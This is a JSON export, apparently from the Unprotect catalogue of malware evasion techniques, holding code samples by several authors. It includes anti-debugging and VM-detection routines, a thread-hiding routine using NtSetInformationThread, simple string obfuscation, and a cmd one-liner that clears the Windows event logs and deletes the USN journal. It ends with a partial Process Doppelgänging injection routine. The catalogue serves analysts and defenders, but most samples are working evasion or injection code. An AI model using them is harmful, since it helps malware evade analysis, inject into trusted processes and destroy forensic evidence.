hNtDll    : THandle;\r\n      AThread   : THandle;\r\n      AThreadId : Cardinal;\r\n\r\n      NtSetInformationThread : function(\r\n                                          ThreadHandle : THandle;\r\n                                          ThreadInformationClass : TThreadInfoClass;\r\n                                          ThreadInformation : PVOID;\r\n                                          ThreadInformationLength : ULONG\r\n                                      ) : NTSTATUS; stdcall;\r\n\r\n  const\r\n    STATUS_SUCCESS = $00000000;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Hide Thread From Debugger\r\n-------------------------------------------------------------------------------}\r\nfunction HideThread(AThreadHandle : THandle) : Boolean;\r\nvar AThreadInformation : ULONG;\r\n    AStatus            : NTSTATUS;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  if not assigned(NtSetInformationThread) then\r\n    Exit();\r\n\r\n\r\n\r\n  // https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntsetinformationthread\r\n  AStatus := NtSetInformationThread(AThreadHandle, ThreadHideFromDebugger, nil, 0);\r\n\r\n  case AStatus of\r\n    {\r\n      STATUS_INFO_LENGTH_MISMATCH\r\n    }\r\n    NTSTATUS($C0000004) : begin\r\n      WriteLn('Error: Status Info Length Mismatch.');\r\n    end;\r\n\r\n    {\r\n      STATUS_INVALID_PARAMETER\r\n    }\r\n    NTSTATUS($C000000D) : begin\r\n      WriteLn('Error: Invalid Parameter.');\r\n    end;\r\n\r\n    {\r\n      STATUS_SUCCESS\r\n    }\r\n    NTSTATUS($00000000) : begin\r\n      WriteLn(Format('Thread: %d is now successfully hidden from debuggers.', [AThreadHandle]));\r\n\r\n      result := True;\r\n    end;\r\n\r\n    {\r\n      Other Errors\r\n    }\r\n    else begin\r\n      WriteLn('Error: Unknown.');\r\n    end;\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___thread:example\r\n-------------------------------------------------------------------------------}\r\nprocedure ThreadExample(pParam : PVOID); stdcall;\r\nbegin\r\n  WriteLn('Example Thread Begin.');\r\n\r\n\r\n  {\r\n    If we are attached to a debugger, we trigger a new breakpoint.\r\n\r\n    If thread is set with hidden from debugger, process should crash.\r\n  }\r\n  if IsDebuggerPresent() then begin\r\n    asm\r\n      int 3\r\n    end;\r\n  end;\r\n\r\n  WriteLn('Example Thread Ends.');\r\n\r\n  ///\r\n  ExitThread(0);\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___entry\r\n-------------------------------------------------------------------------------}\r\nbegin\r\n  try\r\n    hNtDll := LoadLibrary('NTDLL.DLL');\r\n    if (hNtDll = 0) then\r\n      Exit();\r\n    try\r\n      @NtSetInformationThread := GetProcAddress(hNtDll, 'NtSetInformationThread');\r\n      if NOT Assigned(NtSetInformationThread) then\r\n        Exit();\r\n\r\n      {\r\n        Create an example thread\r\n      }\r\n      SetLastError(0);\r\n\r\n      AThread := CreateThread(nil, 0, @ThreadExample, nil, CREATE_SUSPENDED, AThreadId);\r\n      if (AThread <> 0) then begin\r\n        WriteLn(Format('Example thread created. Thread Handle: %d , Thread Id: %d', [AThread, AThreadid]));\r\n\r\n        HideThread(AThread);\r\n\r\n        ///\r\n        ResumeThread(AThread);\r\n\r\n        WaitForSingleObject(AThread, INFINITE);\r\n      end else begin\r\n        WriteLn(Format('Could not create example thread with error: .', [GetLastError()]));\r\n      end;\r\n    finally\r\n      FreeLibrary(hNtDll);\r\n    end;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 29,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/68/?format=api",
            "description": "",
            "plain_code": "//source: https://docs.microsoft.com/en-us/windows/win32/psapi/enumerating-all-processes\r\n#include <windows.h>\r\n#include <stdio.h>\r\n#include <tchar.h>\r\n#include <psapi.h>\r\n\r\n// To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS\r\n// and compile with -DPSAPI_VERSION=1\r\n\r\nvoid PrintProcessNameAndID( DWORD processID )\r\n{\r\n    TCHAR szProcessName[MAX_PATH] = TEXT(\"<unknown>\");\r\n\r\n    // Get a handle to the process.\r\n\r\n    HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |\r\n                                   PROCESS_VM_READ,\r\n                                   FALSE, processID );\r\n\r\n    // Get the process name.\r\n\r\n    if (NULL != hProcess )\r\n    {\r\n        HMODULE hMod;\r\n        DWORD cbNeeded;\r\n\r\n        if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), \r\n             &cbNeeded) )\r\n        {\r\n            GetModuleBaseName( hProcess, hMod, szProcessName, \r\n                               sizeof(szProcessName)/sizeof(TCHAR) );\r\n        }\r\n    }\r\n\r\n    // Print the process name and identifier.\r\n\r\n    _tprintf( TEXT(\"%s  (PID: %u)\\n\"), szProcessName, processID );\r\n\r\n    // Release the handle to the process.\r\n\r\n    CloseHandle( hProcess );\r\n}\r\n\r\nint main( void )\r\n{\r\n    // Get the list of process identifiers.\r\n\r\n    DWORD aProcesses[1024], cbNeeded, cProcesses;\r\n    unsigned int i;\r\n\r\n    if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )\r\n    {\r\n        return 1;\r\n    }\r\n\r\n\r\n    // Calculate how many process identifiers were returned.\r\n\r\n    cProcesses = cbNeeded / sizeof(DWORD);\r\n\r\n    // Print the name and process identifier for each process.\r\n\r\n    for ( i = 0; i < cProcesses; i++ )\r\n    {\r\n        if( aProcesses[i] != 0 )\r\n        {\r\n            PrintProcessNameAndID( aProcesses[i] );\r\n        }\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 26,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/25/?format=api",
            "description": "",
            "plain_code": "/*\r\n-----------------------------------------------------------------------------\r\n  * Created by * lallous <lallousx86@yahoo.com> *\r\n  * All rights reserved.\r\n  *\r\n  * Redistribution and use in source and binary forms, with or without\r\n  * modification, are permitted provided that the following conditions\r\n  * are met:\r\n  * 1. Redistributions of source code must retain the above copyright\r\n  *    notice, this list of conditions and the following disclaimer.\r\n  *\r\n  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS''\r\nAND\r\n  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\n  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\r\nPURPOSE\r\n  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE\r\nLIABLE\r\n  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\r\nCONSEQUENTIAL\r\n  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE\r\nGOODS\r\n  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\r\n  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\r\nSTRICT\r\n  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY\r\nWAY\r\n  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\r\nOF\r\n  * SUCH DAMAGE.\r\n  *\r\n-----------------------------------------------------------------------------\r\n*/\r\n\r\n// IsInsideVPC's exception filter\r\nDWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep)\r\n{\r\n   PCONTEXT ctx = ep->ContextRecord;\r\n\r\n   ctx->Ebx = -1; // Not running VPC\r\n   ctx->Eip += 4; // skip past the \"call VPC\" opcodes\r\n   return EXCEPTION_CONTINUE_EXECUTION;\r\n   // we can safely resume execution since we skipped faulty instruction\r\n}\r\n\r\n// high level language friendly version of IsInsideVPC()\r\nbool IsInsideVPC()\r\n{\r\n   bool rc = false;\r\n\r\n   __try\r\n   {\r\n     _asm push ebx\r\n     _asm mov  ebx, 0 // Flag\r\n     _asm mov  eax, 1 // VPC function number\r\n\r\n     // call VPC\r\n     _asm __emit 0Fh\r\n     _asm __emit 3Fh\r\n     _asm __emit 07h\r\n     _asm __emit 0Bh\r\n\r\n     _asm test ebx, ebx\r\n     _asm setz [rc]\r\n     _asm pop ebx\r\n   }\r\n   // The except block shouldn't get triggered if VPC is running!!\r\n   __except(IsInsideVPC_exceptionFilter(GetExceptionInformation()))\r\n   {\r\n   }\r\n\r\n   return rc;\r\n}"
        },
        {
            "id": 22,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/52/?format=api",
            "description": "",
            "plain_code": "#include <windows.h>\r\n#include <stdio.h>\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (IsDebuggerPresent())\r\n\t{\r\n            printf(\"Debugger detected!!\\n\");\r\n\t}\r\n\telse\r\n\t{\r\n\t    printf(\"No debugger detected!!\\n\");\r\n\t}\r\n\tsystem(\"pause\");\r\n\treturn 0;\r\n}"
        },
        {
            "id": 23,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/57/?format=api",
            "description": "",
            "plain_code": "#include <stdio.h>\r\n#include <Windows.h>\r\n\r\nint main()\r\n{\r\n\tSetLastError(0);\r\n\t\r\n        // Send string to the debugger\r\n\tOutputDebugStringA(\"Hello friend\");\r\n\r\n\tif (GetLastError() != 0)\r\n\t{\r\n\t\tprintf(\"Debugger detected!!\\n\");\r\n\t}\r\n        system(\"pause\");\r\n\treturn 0;\r\n}"
        },
        {
            "id": 24,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/52/?format=api",
            "description": "",
            "plain_code": "program IsDebuggerPresent;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\nuses\r\n  WinAPI.Windows, System.SysUtils;\r\n\r\nbegin\r\n  try\r\n    if IsDebuggerPresent() then\r\n      WriteLn('Process is currently getting debugged.')\r\n    else\r\n      WriteLn('Process is not likely getting debugged.');\r\n\r\n    readln;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 25,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/107/?format=api",
            "description": "",
            "plain_code": "program NtSetDebugFilterState;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\nuses\r\n  WinAPI.Windows, System.SysUtils;\r\n\r\nvar\r\n  NtSetDebugFilterState : function(AComponentId : ULONG; ALevel : ULONG; AState : Boolean) : NTSTATUS; stdcall;\r\n\r\n  hNTDLL  : THandle;\r\n  AStatus : NTSTATUS;\r\n\r\nbegin\r\n  try\r\n    hNTDLL := LoadLibrary('ntdll.dll');\r\n    if (hNTDLL = 0) then\r\n      Exit();\r\n    try\r\n      @NtSetDebugFilterState := GetProcAddress(hNTDLL, 'NtSetDebugFilterState');\r\n\r\n      if NOT Assigned(NtSetDebugFilterState) then\r\n        Exit();\r\n\r\n      AStatus := NtSetDebugFilterState(0, 0, True);\r\n\r\n      writeln(AStatus);\r\n\r\n      if (AStatus <> 0) then\r\n        WriteLn('Not Debugged.')\r\n      else\r\n        WriteLn('Debugged.');\r\n    finally\r\n      FreeLibrary(hNTDLL);\r\n    end;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 21,
            "language": {
                "id": 7,
                "label": "cmd",
                "code_class": "cmd"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/133/?format=api",
            "description": "Common commands found in malware.",
            "plain_code": "wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:"
        },
        {
            "id": 18,
            "language": {
                "id": 4,
                "label": "Golang",
                "code_class": "golang"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/8/?format=api",
            "description": "",
            "plain_code": "package main\r\n\r\nimport (\r\n    \"fmt\"\r\n    \"log\"\r\n    \"net\"\r\n    \"strings\"\r\n)\r\n\r\nfunc getMacAddr() ([]string, error) {\r\n    ifas, err := net.Interfaces()\r\n    if err != nil {\r\n        return nil, err\r\n    }\r\n    var as []string\r\n    for _, ifa := range ifas {\r\n        a := ifa.HardwareAddr.String()\r\n        if a != \"\" {\r\n            as = append(as, a)\r\n        }\r\n    }\r\n    return as, nil\r\n}\r\n\r\nfunc main() {\r\n    // Blacklist VM mac address\r\n    var macvm = []string{\"08:00:27\", \"00:0C:29\", \"00:1C:14\", \"00:50:56\", \"00:05:69\"}\r\n\r\n    as, err := getMacAddr()\r\n    if err != nil {\r\n        log.Fatal(err)\r\n    }\r\n\r\n    for i, s:= range macvm {\r\n        for _, a := range as {\r\n            str := strings.ToUpper(a)\r\n            if str[0:8] == s[0:8] {\r\n                fmt.Println(\"VM detected!\")\r\n\t\tfmt.Println(i, s)\r\n            } \r\n         }\r\n    }\r\n}"
        },
        {
            "id": 19,
            "language": {
                "id": 6,
                "label": "MASM",
                "code_class": "x86asm"
            },
            "user": {
                "id": 7,
                "username": "Adam",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Hexacorn",
                "website": "https://www.hexacorn.com/",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/148/?format=api",
            "description": "",
            "plain_code": ".586\r\n.MODEL FLAT,STDCALL\r\n include    windows.inc\r\n include    kernel32.inc\r\n includelib kernel32.lib\r\n include    user32.inc\r\n includelib user32.lib\r\n include    masm32.inc\r\n includelib masm32.lib\r\n.data\r\n  pat                  db 'rdtscp delta=%d, rdtsc delta=%d',13,10,0\r\n  rdtscp_not_supported db 'rdtscp not supported'\r\n.data?\r\n  buf db 64 dup (?)\r\n.code\r\nrdtscp macro\r\n  db 0Fh, 01h, 0F9h\r\nendm\r\nassume fs:nothing\r\nRDTSCP  proc\r\n  LOCAL _retval:DWORD\r\n   mov  _retval,0\r\n   pushad\r\n   push OFFSET e\r\n   push dword ptr fs:[0]\r\n   mov  dword ptr fs:[0], esp\r\n   rdtscp\r\n   mov ebx,eax\r\n   rdtscp\r\n   sub  eax,ebx\r\n   mov  _retval,eax\r\n   jmp  no_e\r\n e:\r\n   mov  esp, [esp + 8]\r\n   pop  dword ptr fs:[0]\r\n   add  esp, 4\r\n   popad\r\n   mov  _retval,-1\r\n   jmp  _ret\r\n no_e:\r\n   pop  dword ptr fs:[0]\r\n   add  esp, 4\r\n   popad\r\n_ret:\r\n   mov eax,_retval\r\n   ret\r\nRDTSCP  endp\r\n  Start:\r\n   rdtsc\r\n   mov ebx,eax\r\n   rdtsc\r\n   sub  eax,ebx\r\n   mov  ebp,eax\r\n   call RDTSCP\r\n   .if eax==-1\r\n       invoke  StdOut,OFFSET rdtscp_not_supported\r\n   .else\r\n       invoke  wsprintfA,OFFSET buf,OFFSET pat,eax,ebp\r\n       invoke  StdOut,OFFSET buf\r\n   .endif\r\n   invoke ExitProcess,0\r\nEND Start"
        },
        {
            "id": 20,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/57/?format=api",
            "description": "",
            "plain_code": "program OutputDebugString;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\nuses\r\n  WinAPI.Windows,\r\n  System.SysUtils;\r\n\r\nvar AErrorValue : Byte;\r\n\r\nbegin\r\n  try\r\n    randomize;\r\n\r\n    AErrorValue := Random(High(Byte));\r\n\r\n    SetLastError(AErrorValue);\r\n\r\n    OutputDebugStringW('TEST');\r\n\r\n    if (GetLastError() = AErrorValue) then\r\n      WriteLn('Debugger detected using OutputDebugString() technique.')\r\n    else\r\n      WriteLn('No debugger detected using OutputDebugString() technique.');\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 17,
            "language": {
                "id": 4,
                "label": "Golang",
                "code_class": "golang"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/97/?format=api",
            "description": "",
            "plain_code": "package main\r\n\r\nimport (\r\n    \"fmt\"\r\n    \"os\"\r\n)\r\n\r\nfunc cipher(text string, direction int) string {\r\n\r\n        shift, offset := rune(3), rune(26)\r\n\trunes := []rune(text)\r\n\r\n        for index, char := range runes {\r\n\t\tswitch direction {\r\n\t\tcase -1: // encoding\r\n\t\t\tif char >= 'a'+shift && char <= 'z' ||\r\n\t\t\t\tchar >= 'A'+shift && char <= 'Z' {\r\n\t\t\t\tchar = char - shift\r\n\t\t\t} else if char >= 'a' && char < 'a'+shift ||\r\n\t\t\t\tchar >= 'A' && char < 'A'+shift {\r\n\t\t\t\tchar = char - shift + offset\r\n\t\t\t}\r\n\t\tcase +1: // decoding\r\n\t\t\tif char >= 'a' && char <= 'z'-shift ||\r\n\t\t\t\tchar >= 'A' && char <= 'Z'-shift {\r\n\t\t\t\tchar = char + shift\r\n\t\t\t} else if char > 'z'-shift && char <= 'z' ||\r\n\t\t\t\tchar > 'Z'-shift && char <= 'Z' {\r\n\t\t\t\tchar = char + shift - offset\r\n\t\t\t}\r\n\t\t}\r\n\t\trunes[index] = char\r\n\t}\r\n\treturn string(runes)\r\n}\r\n\r\nfunc encode(text string) string { return cipher(text, -1) }\r\nfunc decode(text string) string { return cipher(text, +1) }\r\n\r\nfunc main() {\r\n\tsec := os.Args[1]\r\n        fmt.Println(\"[+] Clear text: \" + sec)\r\n\tencoded := encode(sec)\r\n\tfmt.Println(\"[+] Encoded: \" + encoded)\r\n\tdecoded := decode(encoded)\r\n\tfmt.Println(\"[+] Decoded: \" + decoded)\r\n}"
        },
        {
            "id": 16,
            "language": {
                "id": 4,
                "label": "Golang",
                "code_class": "golang"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/96/?format=api",
            "description": "This Go program uses the Base64 encoding scheme to encode and decode a string. The program takes a single command line argument, which is the string to be encoded and decoded. The program first uses the base64 package to encode the string using the Standard encoding alphabet. The encoded string is then printed to the screen. The program then decodes the encoded string using the same alphabet, and prints the resulting decoded string to the screen. This example demonstrates how the Base64 encoding scheme can be used to encode and decode binary data in a compact and easily transmitted format. In the context of malware, this technique can be used to conceal payloads or encode network communication in order to avoid detection and analysis.",
            "plain_code": "package main\r\n\r\nimport (\r\n    \"encoding/base64\"\r\n    \"fmt\"\r\n    \"os\"\r\n)\r\n\r\nfunc main() {\r\n\r\n    arg1 := os.Args[1]\r\n\r\n    encoded := base64.StdEncoding.EncodeToString([]byte(arg1))\r\n    fmt.Println(encoded)\r\n\r\n    decoded, err := base64.StdEncoding.DecodeString(encoded)\r\n    if err != nil {\r\n        panic(\"error\")\r\n    }\r\n    fmt.Println(string(decoded))\r\n}"
        },
        {
            "id": 13,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 19,
                "username": "External",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/119/?format=api",
            "description": "The code demonstrates how to perform Process Doppelgänging, a technique that leverages the Transactional NTFS functionality in Windows to overwrite a legitimate file with a malicious file, resulting in a process injection.",
            "plain_code": "// Ref = src\r\n// https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf\r\n//\r\n// Credits:\r\n//  Vyacheslav Rusakov @swwwolf\r\n//  Tom Bonner @thomas_bonner\r\n//\r\n\r\n#include <Windows.h>\r\n#include <ntstatus.h>\r\n#include \"ntos.h\"\r\n\r\nVOID ProcessDoppelgänging(\r\n    _In_ LPWSTR lpTargetApp,\r\n    _In_ LPWSTR lpPayloadApp)\r\n{\r\n    BOOL bCond = FALSE;\r\n    NTSTATUS status;\r\n    HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE;\r\n    HANDLE hSection = NULL, hProcess = NULL, hThread = NULL;\r\n    LARGE_INTEGER fsz;\r\n    ULONG ReturnLength = 0;\r\n    ULONG_PTR EntryPoint = 0, ImageBase = 0;\r\n    PVOID Buffer = NULL, MemoryPtr = NULL;\r\n    SIZE_T sz = 0;\r\n    PEB *Peb;\r\n\r\n    PROCESS_BASIC_INFORMATION pbi;\r\n\r\n    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;\r\n\r\n    OBJECT_ATTRIBUTES obja;\r\n    UNICODE_STRING    ustr;\r\n\r\n    BYTE temp[0x1000];\r\n\r\n    do {\r\n        RtlSecureZeroMemory(&temp, sizeof(temp));\r\n\r\n        //\r\n        // Create TmTx transaction object.\r\n        //\r\n        InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);\r\n        status = NtCreateTransaction(&hTransaction,\r\n            TRANSACTION_ALL_ACCESS,\r\n            &obja,\r\n            NULL,\r\n            NULL,\r\n            0,\r\n            0,\r\n            0,\r\n            NULL,\r\n            NULL);\r\n\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtCreateTransaction fail\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Open target file for transaction.\r\n        //\r\n        hTransactedFile = CreateFileTransacted(lpTargetApp,\r\n            GENERIC_WRITE | GENERIC_READ,\r\n            0,\r\n            NULL,\r\n            OPEN_EXISTING,\r\n            FILE_ATTRIBUTE_NORMAL,\r\n            NULL,\r\n            hTransaction,\r\n            NULL,\r\n            NULL);\r\n\r\n        if (hTransactedFile == INVALID_HANDLE_VALUE) {\r\n            OutputDebugString(L\"CreateFileTransacted fail\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Open file payload.\r\n        //\r\n        hFile = CreateFile(lpPayloadApp,\r\n            GENERIC_READ,\r\n            0,\r\n            NULL,\r\n            OPEN_EXISTING,\r\n            FILE_ATTRIBUTE_NORMAL,\r\n            NULL);\r\n        if (hFile == INVALID_HANDLE_VALUE) {\r\n            OutputDebugString(L\"CreateFile(target) failed\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Query payload file size.\r\n        //\r\n        if (!GetFileSizeEx(hFile, &fsz)) {\r\n            OutputDebugString(L\"GetFileSizeEx(target) failed\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Allocate buffer for payload file.\r\n        //\r\n        Buffer = NULL;\r\n        sz = (SIZE_T)fsz.LowPart;\r\n        status = NtAllocateVirtualMemory(NtCurrentProcess(),\r\n            &Buffer,\r\n            0,\r\n            &sz,\r\n            MEM_COMMIT | MEM_RESERVE,\r\n            PAGE_READWRITE);\r\n\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtAllocateVirtualMemory(fsz.LowPart) failed\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Read payload file to the buffer.\r\n        //\r\n        if (!ReadFile(hFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) {\r\n            OutputDebugString(L\"ReadFile(hFile, Buffer) failed\");\r\n            break;\r\n        }\r\n\r\n        CloseHandle(hFile);\r\n        hFile = INVALID_HANDLE_VALUE;\r\n\r\n        //\r\n        // Write buffer into transaction.\r\n        //\r\n        if (!WriteFile(hTransactedFile, Buffer, fsz.LowPart, &ReturnLength, NULL)) {\r\n            OutputDebugString(L\"WriteFile(hTransactedFile, Buffer) failed\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Create section from transacted file.\r\n        //\r\n        status = NtCreateSection(&hSection,\r\n            SECTION_ALL_ACCESS,\r\n            NULL,\r\n            0,\r\n            PAGE_READONLY,\r\n            SEC_IMAGE,\r\n            hTransactedFile);\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtCreateSection(hTransactedFile) failed\");\r\n            break;\r\n        }\r\n\r\n        status = NtRollbackTransaction(hTransaction, TRUE);\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtRollbackTransaction(hTransaction) failed\");\r\n            break;\r\n        }\r\n\r\n        NtClose(hTransaction);\r\n        hTransaction = NULL;\r\n\r\n        CloseHandle(hTransactedFile);\r\n        hTransactedFile = INVALID_HANDLE_VALUE;\r\n\r\n        //\r\n        // Create process object with transacted section.\r\n        //\r\n        //\r\n        // Warning: due to MS brilliant coding skills (NULL ptr dereference) \r\n        //          this call will trigger BSOD on Windows 10 prior to RS3.\r\n        //\r\n        hProcess = NULL;\r\n        status = NtCreateProcessEx(&hProcess,\r\n            PROCESS_ALL_ACCESS,\r\n            NULL,\r\n            NtCurrentProcess(),\r\n            PS_INHERIT_HANDLES,\r\n            hSection,\r\n            NULL,\r\n            NULL,\r\n            FALSE);\r\n\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtCreateProcessEx(hSection) failed\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Query payload file entry point value.\r\n        //\r\n        status = NtQueryInformationProcess(hProcess,\r\n            ProcessBasicInformation,\r\n            &pbi,\r\n            sizeof(PROCESS_BASIC_INFORMATION),\r\n            &ReturnLength);\r\n\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtQueryInformationProcess failed\");\r\n            break;\r\n        }\r\n\r\n        status = NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &temp, 0x1000, &sz);\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"NtReadVirtualMemory failed\");\r\n            break;\r\n        }\r\n\r\n        EntryPoint = (ULONG_PTR)RtlImageNtHeader(Buffer)->OptionalHeader.AddressOfEntryPoint;\r\n        EntryPoint += (ULONG_PTR)((PPEB)temp)->ImageBaseAddress;\r\n\r\n        //\r\n        // Create process parameters block.\r\n        //\r\n        //RtlInitUnicodeString(&ustr, L\"C:\\\\windows\\\\system32\\\\svchost.exe\");\r\n        RtlInitUnicodeString(&ustr, lpTargetApp);\r\n        status = RtlCreateProcessParametersEx(&ProcessParameters,\r\n            &ustr,\r\n            NULL,\r\n            NULL,\r\n            &ustr,\r\n            NULL,\r\n            NULL,\r\n            NULL,\r\n            NULL,\r\n            NULL,\r\n            RTL_USER_PROC_PARAMS_NORMALIZED);\r\n\r\n        if (!NT_SUCCESS(status)) {\r\n            OutputDebugString(L\"RtlCreateProcessParametersEx failed\");\r\n            break;\r\n        }\r\n\r\n        //\r\n        // Allocate memory in target process and write process parameters block.\r\n        //\r\n        sz = ProcessParameters->EnvironmentSize + ProcessParameters->MaximumLength;\r\n        MemoryPtr = ProcessParameters;\r\n\r\n        status = NtAllocateVirtualMemory(hProcess,\r\n            &MemoryPtr,\r\n            0,\r\n            &sz,\r\n            MEM_RESERVE | MEM_COMMIT,\r\n            PAGE_READWRITE);\r\n\r\n        if (!NT_SUCCESS(status)) 